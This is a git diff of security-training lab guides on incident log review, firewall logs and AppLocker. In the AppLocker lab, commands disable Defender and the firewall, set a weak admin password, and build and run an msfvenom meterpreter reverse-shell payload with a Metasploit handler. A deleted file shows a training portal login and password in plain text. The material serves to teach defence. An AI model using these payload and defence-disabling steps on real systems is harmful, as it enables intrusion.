+to our RMM.
+

![cookie being stolen](./images/pivot.PNG) -It looks like the attacker is dumping the **users'** cookies to gain access to accounts on the web. Does this user have access to any important accounts or frameworks? **Yes!** This user has access to a **RMM** that manages the domain. If an attacker gains access to the RMM, then all of our computers may get taken over. +- It looks like the attacker is dumping the **users'** cookies to gain access to accounts on the web. Does this user have access to any important accounts or frameworks? **Yes!** This user has access to a **RMM** that manages the domain. If an attacker gains access to the RMM, then all of our computers may get taken over. Not to worry though, right? Most **RMM** uses **MFA** and there's nothing to worry about. Right? -Unfortunately, the cookie theft and reuse occur attackers are hijacking a session that already went through **MFA**, so the attacker can effectively bypass **MFA**. But before we panic let's check our **RMM** logs and see if the attacker has done anything. +- Unfortunately, the cookie theft and reuse occur attackers are hijacking a session that already went through **MFA**, so the attacker can effectively bypass **MFA**. But before we panic let's check our **RMM** logs and see if the attacker has done anything. -*** -***Continuing on to the next Lab?*** -[Click here to get back to the Navigation Menu](/IntroClassFiles/navigation.md) -***Finished with the Labs?*** +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/rmm_takeover.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/ws_3_security_logs.md) +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** Please be sure to destroy the lab environment! diff --git a/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/rmm_takeover.md b/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/rmm_takeover.md index 503c15de..7222e459 100644 --- a/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/rmm_takeover.md +++ b/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/rmm_takeover.md @@ -2,32 +2,33 @@ [*Download the log file to follow along*](./logs/Activities-rmm.csv) -At this point in our investigation, it is becoming clear that the attacker didn't just compromise one machine but may have compromised the **entire** domain. +- At this point in our investigation, it is becoming clear that the attacker didn't just **compromise** one machine but may have compromised the **entire** domain. -An **RMM** is a tool that is used to remote manage and monitor workstations. Most **RMMs** have the capability to access the **CLI** of a workstation and push automated scripts to assist an **IT admin** help push updates en mass. +- An **RMM** is a tool that is used to remote manage and monitor workstations. Most **RMMs** have the capability to access the **CLI** of a workstation and push automated scripts to assist an **IT admin** help push updates en mass. -Let's crack open the log and confirm our worst fears and suspicions. +- Let's crack open the **log** and confirm our worst fears and suspicions. -**!!! NOTE: - Once again, the logs file is unique to this part of the lab. Please redownload with the link above and open in notepad or another text editor.** +>[!NOTE] +>Once again, the logs file is unique to this part of the lab. Please **download** with the link above and open in notepad or another text editor.** ![rmm execution](./images/fullpwn.PNG) -It is worth noting the lack of logs here, since these **RMM** logs are mainly recording its own activity. It is not logging the data from the computer it's connected to. We can see that a script has recently been run. +- It is worth noting the lack of logs here, since these **RMM** logs are mainly recording its own activity. It is not logging the data from the **computer it's connected to**. We can see that a **script** has recently been run. -It looks like the attacker has pushed a script to execute malware on every machine with the **RMM** tool running on it, including the **domain controller**. +- It looks like the attacker has pushed a script to **execute malware** on every machine with the **RMM** tool running on it, including the **domain controller**. -It is safe to assume that every single machine on the network is compromised, which is not good. +- It is safe to assume that every single machine on the network is **compromised**, which is not good. -This **small** breach has just become a **huge** disaster and will need Escalation and Incident Response. +- This **small** breach has just become a **huge** disaster and will need **Escalation** and **Incident Response**. -*** -***Continuing on to the next Lab?*** -[Click here to get back to the Navigation Menu](/IntroClassFiles/navigation.md) +*** -***Finished with the Labs?*** +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/cookie_theft.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) +***Finished with the Labs?*** Please be sure to destroy the lab environment! diff --git a/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/ws_3_security_logs.md b/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/ws_3_security_logs.md index 46fb17b0..d59c66c1 100644 --- a/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/ws_3_security_logs.md +++ b/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/ws_3_security_logs.md @@ -2,32 +2,35 @@ [*Download the log file to follow along*](./logs/ws-3-security.csv) -After the discovery of the compromised user, **(Paul Bowman)**, we decided to go through the security logs of each workstation to look for any suspicious files being run or used by other users. +- After the discovery of the compromised user, **(Paul Bowman)**, we decided to go through the security logs of each workstation to look for any suspicious files being run or used by other users. -The compromised user may try to **pivot** to other computers and try to gain access to other systems. [Pivoting](https://www.geeksforgeeks.org/pivoting-moving-inside-a-network/) is a technique used by an attacker to try to compromise additional systems and try to escalate there privileges from a regular user to an **administrator**. So, where do we start? **Workstation 3** has suspicious activity in its security log files we should take a look at. +- The compromised user may try to **pivot** to other computers and try to gain access to other systems. [Pivoting](https://www.geeksforgeeks.org/pivoting-moving-inside-a-network/) is a technique used by an attacker to try to compromise additional systems and try to escalate there privileges from a regular user to an **administrator**. So, where do we start? **Workstation 3** has suspicious activity in its security log files we should take a look at. -**!!! NOTE - The log file for this portion is a different file. Please download it above.** +>[!NOTE] +>The log file for this portion is a different file. Please **download** it above. -Open the log file in notepad and press **"ctrl + f"** and type **"Process Name:"** and hit Enter then tab to every executable that has run on the workstation. +- **Open** the log file in notepad and press `ctrl + f` and type `Process Name:` and hit `Enter` then `Tab` to every executable that has run on the **workstation**. -We are looking for anything out of the ordinary. We are starting on process names because it is the most likely attack vendor. If any malicious files were ran it may be in the audit logs. As a way to confirm strange behavior. We should also look to see if the user running the file is anyone other than **Paul Bowman**. This can help us understand if the attacker tried to spread through our network. +- We are looking for **anything out of the ordinary**. We are starting on process names because it is the most likely attack vendor. If any **malicious files** were ran it may be in the audit logs. As a way to confirm strange behavior. We should also look to see if the user running the file is anyone other than **Paul Bowman**. This can help us understand if the attacker tried to spread through our network. ![Sysmon Extract All](./images/search.PNG) -After tabbing through the log file and carefully looking over executables we should take note of this... +- After tabbing through the log file and carefully looking over **executables** we should take note of this... ![Sysmon Extract All](./images/find_next.PNG) -At first it may not be totally obvious, but the name seems *slightly* suspicious and is not a normal system file like **mmc** or **event viewer**. It looks like the file was served through a file share on **Workstation 1**, which was the machine that **Paul Bowman** was using. It is also important to take notice of the username, the attacker has moved from Paul into a **new** user. This means the attacker was **pivoting** in this environment. +- At first it may not be totally obvious, but the name seems *slightly* suspicious and is not a normal system file like **mmc** or **event viewer**. It looks like the file was served through a file share on **Workstation 1**, which was the machine that **Paul Bowman** was using. It is also important to take notice of the username, the attacker has moved from Paul into a **new** user. This means the attacker was **pivoting** in this environment. -*** -***Continuing on to the next Lab?*** -[Click here to get back to the Navigation Menu](/IntroClassFiles/navigation.md) -***Finished with the Labs?*** +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/cookie_theft.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/azure_logs.md) +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** Please be sure to destroy the lab environment! diff --git a/IntroClassFiles/Tools/IntroClass/AppLocker/AppLocker.md b/IntroClassFiles/Tools/IntroClass/AppLocker/AppLocker.md index 6748386d..d615d3be 100755 --- a/IntroClassFiles/Tools/IntroClass/AppLocker/AppLocker.md +++ b/IntroClassFiles/Tools/IntroClass/AppLocker/AppLocker.md @@ -9,12 +9,15 @@ Let’s see what happens when we do not have **AppLocker** running. We will set Before we begin, we need to disable **Defender**. Start by opening an instance of **Windows Powershell**. Do this by clicking on the **Powershell** icon in the taskbar. -![](attachments/OpeningPowershell.png) +Screenshot From 2026-02-07 17-59-15 + Next, run the following command in the **Powershell** terminal: -
Set-MpPreference -DisableRealtimeMonitoring $true
+```ps +Set-MpPreference -DisableRealtimeMonitoring $true +``` ![](attachments/applocker_disabledefender.png) @@ -24,113 +27,150 @@ If you get angry red errors, that is **Ok**, it means **Defender** is not runnin Next, lets ensure the firewall is disabled. In a Windows Command Prompt. -
 netsh advfirewall set allprofiles state off
+Screenshot From 2026-02-07 17-59-56 + + +```cmd +netsh advfirewall set allprofiles state off +``` Next, set a password for the Administrator account that you can remember -
net user Administrator password1234
+```cmd +net user Administrator password1234 +``` Please note, that is a very bad password. Come up with something better. But, please remember it. -Before we move on from our Powershell window, lets get our IP by running the following command: -
ipconfig
-![](attachments/powershellipconfig.png) -**REMEMBER - YOUR IP WILL BE DIFFERENT** +- To open a **Linux Shell**, either **double-click** `Ubuntu Shell` on Desktop -Write this IP down so we can use it again later. +Screenshot From 2026-02-23 10-28-37 -Let’s continue by opening a **Kali** instance. -![](attachments/OpeningKaliInstance.png) +- Or open **Command Prompt** -Alternatively, you can click on the **Kali** icon in the taskbar. +image -![](attachments/TaskbarKaliIcon.png) +- **SSH** into the **Linux** machine +```bash +ssh ubuntu@linux.cloudlab.lan +``` -Let's start by getting root access in our terminal. +image -
sudo su -
-We need to run the following command in order to mount our remote system to the correct directory: -
mount -t cifs //[Your IP Address]/c$ /mnt/windows-share -o username=Administrator,password=password1234
-**REMEMBER - YOUR IP ADDRESS AND PASSWORD WILL BE DIFFERENT.** -If you see the following error, it means that the device is already mounted. -![](attachments/mounterror.png) -If this is the case, ignore it. -Run the following command to navigate into the mounted directory: +Let's start by getting root access in our terminal. -
cd /mnt/windows-share
+```bash +sudo su - +``` -Before we run the next commands, we need to get the IP of our Kali System (AKA our Linux IP Adress). Lets do so by running the following: +Before we run the next commands, we need to get the **IP** of our **Linux System**. Lets do so by running the following: -
ifconfig
+```bash +ifconfig +``` + +2026-02-23_10-33 -![](attachments/applocker_ifconfig.png) **REMEMBER: YOUR IP WILL BE DIFFERENT** Now, run the following commands to start a simple backdoor and backdoor listener: -
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=[Your Linux IP Address] lport=4444 -f exe -o /mnt/windows-share/TrustMe.exe
+```bash +cd /tmp/ +``` + +```bash +msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=[Your Linux IP Address] lport=4444 -f exe > TrustMe.exe +``` -Let's start the **Metasploit Handler**. First, open a new **Kali** instance. The easiest way to do this is by clicking on the **Kali** icon in the taskbar. +Let's start the **Metasploit Handler** -![](attachments/TaskbarKaliIcon.png) +```bash +msfconsole -q +``` -Before doing anything else, we need to run the following command in our new terminal window: +2026-02-23_10-44 -
msfconsole -q
-![](attachments/msfconsole.png) The **Metasploit Handler** successfully ran if the terminal now starts with **"msf6 >"** Next, let's run the following: -
use exploit/multi/handler
+```bash +use exploit/multi/handler +``` Now run all of the following commands to set the correct parameters: -
set PAYLOAD windows/meterpreter/reverse_tcp
+```bash +set PAYLOAD windows/meterpreter/reverse_tcp +``` -
set LHOST [Your Linux IP Address]
+```bash +set LHOST [Your Linux IP Address] +``` **REMEMBER - YOUR IP WILL LIKELY BE DIFFERENT!** Go ahead and run the exploit: -
exploit
+```bash +exploit +``` It should look like this: -![](attachments/msf6commands.png) +2026-02-23_10-54 + Let’s download the malware and run it! -Open a **Windows** command prompt. Do this by clicking on the icon in the taskbar. +Going back to our **Powershell** terminal, copy the file over from **Linux** + +```ps +cd .\Desktop\ +``` -![](attachments/OpeningWindowsCommandPrompt.png) +```ps +scp ubuntu@linux.cloudlab.lan:/tmp/TrustMe.exe . +``` + +Open a **Windows** command prompt. + +Screenshot From 2026-02-07 17-59-56 Once the prompt is open, let's run the following commands to run the **"TrustMe.exe"** file. -
cd \
+```cmd +cd \Users\Administrator\Desktop +``` + +Then run it with the following: + +```cmd +TrustMe.exe +``` + +Screenshot From 2026-02-23 11-05-02 -
TrustMe.exe
-![](attachments/runtrustme.png) +Back at your **Linux** terminal, you should now have a **metasploit** session! -Back at your **Kali** terminal, you should now have a **metasploit** session! +2026-02-23_11-06 -![](attachments/meterpretersession.png) Let’s stop this from happening! @@ -164,51 +204,70 @@ To do this you will need to select **AppLocker** on the far left pane. You will ![](attachments/ruleenforcement.png) -We will need to start the **"Application Identity service"**. This is done through pressing the Windows key and typing **"Services"**. +We will need to start the **"Application Identity service"**. This is done through this **cmd** command, open **Command Prompt**: -![](attachments/services.png) +Screenshot From 2026-02-07 17-59-56 -This will bring up the **Services App**. Double-click **“Application Identity”**. -![](attachments/applicationidentity.png) +```cmd +powershell sc start AppIDSvc +``` -Once the **"Application Identity Properties"** dialog is open, please press the **Start** button. This will start the service. -![](attachments/startservice.png) +Run **"gpupdate"** to force the policy change. -Open a command prompt and run **"gpupdate"** to force the policy change. -![](attachments/OpeningWindowsCommandPrompt.png) - -
gpupdate /force
+```bash +gpupdate /force +``` We are now going to try to run **"TrustMe.exe"** as another user on the system. Run the following commands: -
cd /IntroLabs
+```cmd +cd /IntroLabs +``` -
runas /user:whitelist "nc"
+```cmd +runas /user:whitelist "C:\Tools\ncat.exe" +``` The password is **adhd** -![](attachments/runas.png) +2026-02-23_11-42 As you can see, an error was generated, meaning that we were successful! -*** -***Continuing on to the next Lab?*** -[Click here to get back to the Navigation Menu](/IntroClassFiles/navigation.md) +*** -***Finished with the Labs?*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/Bluespawn.md) + + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) +***Finished with the Labs?*** Please be sure to destroy the lab environment! [Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) ---- + + + + + + + + + + + + + + + + diff --git a/IntroClassFiles/Tools/IntroClass/Connectsecure.md b/IntroClassFiles/Tools/IntroClass/Connectsecure.md deleted file mode 100644 index 94ca1562..00000000 --- a/IntroClassFiles/Tools/IntroClass/Connectsecure.md +++ /dev/null @@ -1,10 +0,0 @@ -Please go to: https://rightofboom.mycybercns.com/me/rightofboom - -And... - -Login - -ID = training@rightofboom.com -PW = RightOfBoom#321 - -Login and check it out. diff --git a/IntroClassFiles/Tools/IntroClass/DenyHosts.md b/IntroClassFiles/Tools/IntroClass/DenyHosts.md deleted file mode 100644 index 24e5fdaa..00000000 --- a/IntroClassFiles/Tools/IntroClass/DenyHosts.md +++ /dev/null @@ -1,88 +0,0 @@ - -DenyHosts -========= - -Website -------- - - - -Description ------------ - -DenyHosts is a utility developed by Phil Schwartz and maintained by a number of developers which aims -to thwart sshd (ssh server) brute force attacks. Upon discovering a repeatedly malicious host, the `/etc/hosts.deny` -file is updated to prevent future break-in attempts from that host. - - -Install Location ----------------- -`/opt/denyhosts` - -`/usr/share/denyhosts/` - -Example 1: Installing DenyHosts -------------------------------- - -`~$` **`wget https://github.com/denyhosts/denyhosts/releases/download/v3.1/DenyHosts-3.1.2.tar.gz`** - -`~$` **`tar zxvf DenyHosts-3.1.tar.gz`** - -The rest of the install process requires elevated privileges. You can either switch to root, or run the -following commands with `sudo`. - -`~#` **`mv DenyHosts-3.1 /opt`** - -`~#` **`cd /opt/DenyHosts-3.1`** - -`~#` **`python3 setup.py install`** - -`~#` **`cp denyhosts.conf /etc`** - -`~#` **`cp denyhosts.py /usr/bin`** - -It really doesn't get much simpler than that. - -Example 2: Enabling DenyHosts ------------------------------ - -To enable DenyHosts, simply start its service. - -`~$` **`sudo /opt/denyhosts/daemon-control start`** - -This command launces DenyHosts and runs it in the background. The /etc/denyhosts.conf -file can be edited to configure its behavour. - -Example 3: Basic Configuration ------------------------------- - -A majority of DenyHosts’ configurations can be made by editing the configuration file -`/etc/denyhosts.conf`. - -DenyHosts makes use of the default Linux whitelist and blacklist. - -With a blacklisting service like DenyHosts it can be incredibly important to properly configure -your whitelist prior to launch. - -The default whitelist file for Linux is `/etc/hosts.allow` (this can be changed in the DenyHosts conf file). - -The rule structure is the same for the files `/etc/hosts.deny` (blacklist) and `/etc/hosts.allow` (whitelist). - -The pattern is ` : ` - -You will have to be root to run any of the following commands by default. - -So for example, if you wanted to allow access to a vsftp service for connections from ‘192.168.1.1’: - -`~$` **`sudo su`** - -`~#` **`echo “vsftpd : 192.168.1.1” >> /etc/hosts.allow`** - -To whitelist a specific host’s connection to all services (example: 192.168.1.1): - -`~#` **`echo “ALL : 192.168.1.1” >> /etc/hosts.allow`** - -The `ALL` selector can also be used to whitelist or blacklist all hosts on a specific service: - -`~#` **`echo “sshd : ALL” >> /etc/hosts.allow`** - diff --git a/IntroClassFiles/Tools/IntroClass/DenyHosts_files/drats.png b/IntroClassFiles/Tools/IntroClass/DenyHosts_files/drats.png deleted file mode 100644 index 86da864e..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/DenyHosts_files/drats.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/DenyHosts_files/drats_1.PNG b/IntroClassFiles/Tools/IntroClass/DenyHosts_files/drats_1.PNG deleted file mode 100644 index 86da864e..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/DenyHosts_files/drats_1.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/DomainLogReview/DomainLogReview.md b/IntroClassFiles/Tools/IntroClass/DomainLogReview/DomainLogReview.md index baf65773..b6a58855 100644 --- a/IntroClassFiles/Tools/IntroClass/DomainLogReview/DomainLogReview.md +++ b/IntroClassFiles/Tools/IntroClass/DomainLogReview/DomainLogReview.md @@ -11,17 +11,21 @@ We are going to use **DeepBlueCLI** to see if there are any odd logon patterns i Let's start by opening **Windows Powershell**: -![](attachments/OpeningPowershell.png) +image -Then, navigate to the \IntroLabs\DeepBlueCLI-master directory +Then, navigate to the `\IntroLabs\DeepBlueCLI` directory -
cd \IntroLabs\DeepBlueCLI-master\
+```bash +cd \IntroLabs\DeepBlueCLI\ +``` ![](attachments/dlr_directory.png) Now, let's start looking at the **DC2 Password spray** file: -
.\DeepBlue.ps1 .\EntLogs\DC2-secLogs-3-26-DomainPasswordSpray.evtx
+```bash +.\DeepBlue.ps1 .\EntLogs\DC2-secLogs-3-26-DomainPasswordSpray.evtx +``` If a warning pops up, press **"R"**. This will start the script by running it: When this runs, there is an alert that catches our attention right away: @@ -34,11 +38,11 @@ Lets dig into the actual logs and see if we can see a pattern. To do this, open File Explorer and navigate to the C:\IntroLabs\DeepBlueCLI-master\EntLogs directory: -![](attachments/OpeningFileExplorer.png) +OpenFileExplorer -![](attachments/Navintolabs.png) +![](attachments/Navintolabs.png) -![](attachments/NavtoDBMaster.png) +image ![](attachments/navtoent.png) @@ -93,3 +97,6 @@ Please be sure to destroy the lab environment! --- + + + diff --git a/ASA-syslogs.txt b/IntroClassFiles/Tools/IntroClass/FirewallLog/ASA-syslogs.txt similarity index 100% rename from ASA-syslogs.txt rename to IntroClassFiles/Tools/IntroClass/FirewallLog/ASA-syslogs.txt diff --git a/IntroClassFiles/Tools/IntroClass/FirewallLog/FirewallLog.md b/IntroClassFiles/Tools/IntroClass/FirewallLog/FirewallLog.md index f4ffbeab..47643b0b 100644 --- a/IntroClassFiles/Tools/IntroClass/FirewallLog/FirewallLog.md +++ b/IntroClassFiles/Tools/IntroClass/FirewallLog/FirewallLog.md @@ -3,35 +3,32 @@ # Firewall Log Review +# Ubuntu VM + In this lab we will be looking at a log with r-base-core from an **ASA firewall** from Cisco. **And wow.... They are bad to work with.** With the power of **Bash scripting** we can get some useful information. -Let’s get started by opening a **Kali** Instance. - -![](attachments/OpeningKaliInstance.png) - -Alternatively, you can click on the **Kali Logo** in the taskbar. - -![](attachments/TaskbarKaliIcon.png) - -Let's start by gaining root access by running the following: - -
sudo su -
- Next, let's get your **Linux** system to do some math! +Open a terminal + We need to navigate to the correct directory with the following command: -
cd /opt/firewall_log
+```bash +cd ~/Intro_To_SOC/firewall_log +``` Let's look into the logs. The logs file is quite extensive, so in order to narrow our scope, we will use **"grep".** -
grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | less
+```bash +grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | less +``` + +2026-03-23_12-17 -![](attachments/fwlr_lessasa.png) **That is a nightmare...** @@ -41,13 +38,16 @@ No worries though, just hit **"q"** to return to your terminal. Let's refine the output a little more by running the following command: -
grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | cut -d ' ' -f 1,3,4,5,7,8,9,10,11,12,13,14
+```bash +grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | cut -d ' ' -f 1,3,4,5,7,8,9,10,11,12,13,14 +``` This command focuses on the closed connections **(FIN)** and pull just specific fields out of the data to clean it up. We use cut with the **"-d"** switch to specify the delimiter, which is a space. Then, we tell it what fields or columns of the output we are interested in. When it is all put together, our output looks something like this: -![](attachments/fwlr_grepFIN.png) +2026-03-23_12-19 + It's looking a lot better, but I think we can do better. But how? @@ -56,33 +56,46 @@ If you look at our previous output, you may notice that outside connections are So why don't we look at just the connections made to **"13.107.237.38"** by running the following command: -
grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 13.107.237.38 | cut -d ' ' -f 1,3,4,5,7,8,9,10,11,12,13,14
+```bash +grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 13.107.237.38 | cut -d ' ' -f 1,3,4,5,7,8,9,10,11,12,13,14 +``` + +2026-03-23_12-21 + -![](attachments/fwlr_grep13107.png) This output shows us all of the data coming from **"13.107.237.38"** Don't forget, there were also a lot of connections from **"18.160.185.174"**. Here, let's zoom in on that IP as well: -
grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 18.160.185.174 | cut -d ' ' -f 1,3,4,5,7,8,9,10,11,12,13,14
+```bash +grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 18.160.185.174 | cut -d ' ' -f 1,3,4,5,7,8,9,10,11,12,13,14 +``` + +2026-03-23_12-24 -![](attachments/fwlr_grep18160.png) Look at the last field. See a pattern? Is there one? Let's see just that field! -
grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 18.160.185.174 | cut -d ' ' -f 14
+```bash +grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 18.160.185.174 | cut -d ' ' -f 14 +``` All we should see now is this: -![](attachments/fwlr_f14.png) +2026-03-23_12-24_1 + Now let's do some math in that field! -
grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 18.160.185.174 | cut -d ' ' -f 8,14 | tr : ' ' | tr / ' '  | cut -d ' ' -f 4 | Rscript -e 'y <-scan("stdin", quiet=TRUE)' -e 'cat(min(y), max(y), mean(y), sd(y), var(y), sep="\n")'
+```bash +grep 192.168.1.6 ASA-syslogs.txt | grep -v 24.230.56.6 | grep FIN | grep 18.160.185.174 | cut -d ' ' -f 8,14 | tr : ' ' | tr / ' ' | cut -d ' ' -f 4 | Rscript -e 'y <-scan("stdin", quiet=TRUE)' -e 'cat(min(y), max(y), mean(y), sd(y), var(y), sep="\n")' +``` Your output should look something like this: -![](attachments/fwlr_math.png) +2026-03-23_12-26 + There are a lot of commands you can use to alter your view of the logs. @@ -100,3 +113,5 @@ Please be sure to destroy the lab environment! --- + + diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger.md b/IntroClassFiles/Tools/IntroClass/HoneyBadger.md deleted file mode 100644 index afa7070a..00000000 --- a/IntroClassFiles/Tools/IntroClass/HoneyBadger.md +++ /dev/null @@ -1,412 +0,0 @@ -![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) - -HoneyBadger -========================= - -Website -------- - - - -Description ------------ -Used to identify the physical location of a web user with a combination -of geolocation techniques using a browser's share location feature, the -visible WiFi networks, and the IP address. - - -Updates -------- -What's new in HoneyBadger? - -* Updated to Python 3.x -* API keys extracted as CLI arguments -* New fallback geolocation APIs added (IPStack, IPInfo.io) -* New utilities for automatic wireless surveying (Windows, Linux) -* New beacon agents (VB.NET, VBA) - - -Install Location ----------------- -`/opt/honeybadger/` - - -Usage ------ -In order to use the latest version of HoneyBadger, Python 3 must be installed, as well as python3-pip. These should both be installed on the ADHD image. - -`cd /opt/honeybadger/server` - -Finally, from the same directory, run the HoneyBadger server: -`python3 honeybadger.py -ik -gk ` - - -NOTE: Though HoneyBadger will still run without API keys, functionality is severely limited without them. - - -Example 1: Overview -------------------- -The HoneyBadger UI has many features. This section will give a brief overview of HoneyBadger's pages. - -Please surf to http://:5000 - -PLEASE USE FIREFOX!!!! - -The user and password are adhd. - -Navigate to the HoneyBadger server, and you will be presented with the following screen: - -![](HoneyBadger_files/hb_login.png) - -Use the credentials set earlier to log in, and you will be brought to the map. - -To navigate to other pages of HoneyBadger, use the navigation bar in the top right corner: - -![](HoneyBadger_files/hb_navbar.png) - -### 1. Map ### -The map is the default landing page after logging in. - -![](HoneyBadger_files/hb_map.png) - -The map is the main event of HoneyBadger in terms of presentation, and will pin a location when a beacon is triggered. - -### 2. Targets ### -Navigate to the targets page. - -![](HoneyBadger_files/hb_targets.png) - -The targets page is where targets can be observed, added, or removed, The page also serves as a way to generate several agents that are not quickly generated manually. - -### 3. Beacons ### -Navigate to the beacons page. - -![](HoneyBadger_files/hb_beacons.png) - -The beacons page maintains a list of beacons that connect to HoneyBadger and successfully geolocate. Beacons can be removed from this page as well. - -### 4. Log ### -Navigate to the log page. - -![](HoneyBadger_files/hb_log_empty.png) - -The log page is populated with information as beacons attempt to connect to the HoneyBadger server, and may be empty if accessed before any beacons connect to the server. - -### 5. Profile ### -Navigate to the profile page. - -![](HoneyBadger_files/hb_profile.png) - -The profile page allows for changing the password of the currently logged in account. - -### 6. Admin ### -Navigate to the admin page. - -![](HoneyBadger_files/hb_admin.png) - -The admin page is where administrative actions can be performed on accounts, and where new accounts can be added. - -### 7. Logout ### -Clicking logout on the navbar will log you out, bringing you back to the login page. - -![](HoneyBadger_files/hb_logout.png) - -NOTE: All pages containing a table of records can be sorted by clicking on the table headings. - -Example 2: Using the Map ------------------------------ -Navigate to the map page. - -![](HoneyBadger_files/hb_map.png) - -At its core, the map page uses the Google Maps API, and functions identically to the standard Google Maps. - -Several options are available for filtering map points by targets and by agents, using the map legend: - -![](HoneyBadger_files/hb_map_legend.png) - -As targets are added or unique agents are used to beacon into a target, they will show up in this legend. Toggling checkboxes in the legend enables filtering of beacons that are displayed in the map. - -Points on the map can be clicked to display information about the machine that beaconed in: - -![](HoneyBadger_files/hb_map_beacondetails.png) - - -Example 3: Working with Targets -------------------------------- -Navigate to the targets page. - -![](HoneyBadger_files/hb_targets.png) - -Take a closer look at the information associated with the demo target: - -![](HoneyBadger_files/hb_targets_targetinfo.png) - -Moving left to right: - -* id: list id number -* name: name of the target -* guid: unique id of the target -* beacon_count: number of beacons associated with the target -* action: available actions regarding the target - - macro: generate a VBA macro beacon for the target - - VB.NET: generate a VB.NET beacon for the target - - demo: navigate to the target's demo page - - delete: delete the target - -Note that clicking on any of the first four table headings will sort the table based on that column in ascending or descending order, as indicated by an arrow that appears upon clicking. - -To add a new target, enter the target name in the field at the top of the page, and click the add button. - -The new target will appear in the list: - -![](HoneyBadger_files/hb_targets_targetadd.png) - -Two agents can be generated from this page, one for VBA Office macros and one for VB.NET. - -Clicking on the macro button will show the macro in a popup: - -![](HoneyBadger_files/hb_targets_targetVBA.png) - -Clicking on on the VB.NET button will show the VB.NET code in a popup: - -![](HoneyBadger_files/hb_targets_targetVBNET.png) - -NOTE: Though HoneyBadger attempts to copy the code to the clipboard, it's safest to simply copy the macro by hand. - -To delete a target, click the target's delete button. A prompt will appear: - -![](HoneyBadger_files/hb_targets_targetdelete.png) - -Click OK, and the target will be removed from the list. - - -Example 4: Working with Beacons -------------------------------- -Navigate to the beacons page. - -![](HoneyBadger_files/hb_beacons.png) - -Take a closer look at the information associated with the first demo beacon: - -![](HoneyBadger_files/hb_beacons_beaconinfo.png) - -Moving left to right: - -* id: list id number -* target: which target the beacon associated with -* agent: the agent that the beacon used to communicate with the server -* lat: geolocation latitude of the beacon -* lng: geolocation longitude of the beacon -* acc: geolocation accuracy of the beacon -* ip: IP address of the beacon -* created: timestamp of beacon creation -* action: available action regarding the target - - delete: delete the beacon - -Using an agent, beacon into HoneyBadger, and refresh the beacons page to see a new beacon added to the list: - -![](HoneyBadger_files/hb_beacons_beaconadded.png) - -To delete a beacon, click the beacon's delete button. A prompt will appear: - -![](HoneyBadger_files/hb_beacons_beacondelete.png) - -Click OK, and the beacon will be removed from the list - - -Example 5: Observing the Log ----------------------------- -Navigate to the log page. - -![](HoneyBadger_files/hb_log.png) - -The log page has been populated with information after the beacon was added in Example 4. The log contains information pertaining to the beacon, and will contain information if a beacon is unable to geolocate. - -Example 6: Changing Profile Information ---------------------------------------- -Navigate to the profile page. - -![](HoneyBadger_files/hb_profile.png) - -To change a password, fill in the fields accordingly. Note that passwords set with the profile page must meet minimum complexity requirements of a minimum of 10 characters, of which all four character classes (uppercase letters, lowercase letters, special characters, and numbers) must be used. - -If the password does not meet minimum complexity requirements, the password is rejected and the user is notified: - -![](HoneyBadger_files/hb_profile_badcomplexity.png) - -Upon successful password change, the user is notified: - -![](HoneyBadger_files/hb_profile_profileupdated.png) - -Example 7: Administration -------------------------- -Navigate to the admin page. - -![](HoneyBadger_files/hb_admin.png) - -Note that modification of the current user is not allowed. If this is attempted, the user is notified of this: - -![](HoneyBadger_files/hb_admin_selfmodify.png) - -To add a new user, enter an email address in the box above, and click initialize. The new user will appear in the list: - -![](HoneyBadger_files/hb_admin_useradded.png) - -To get an activation 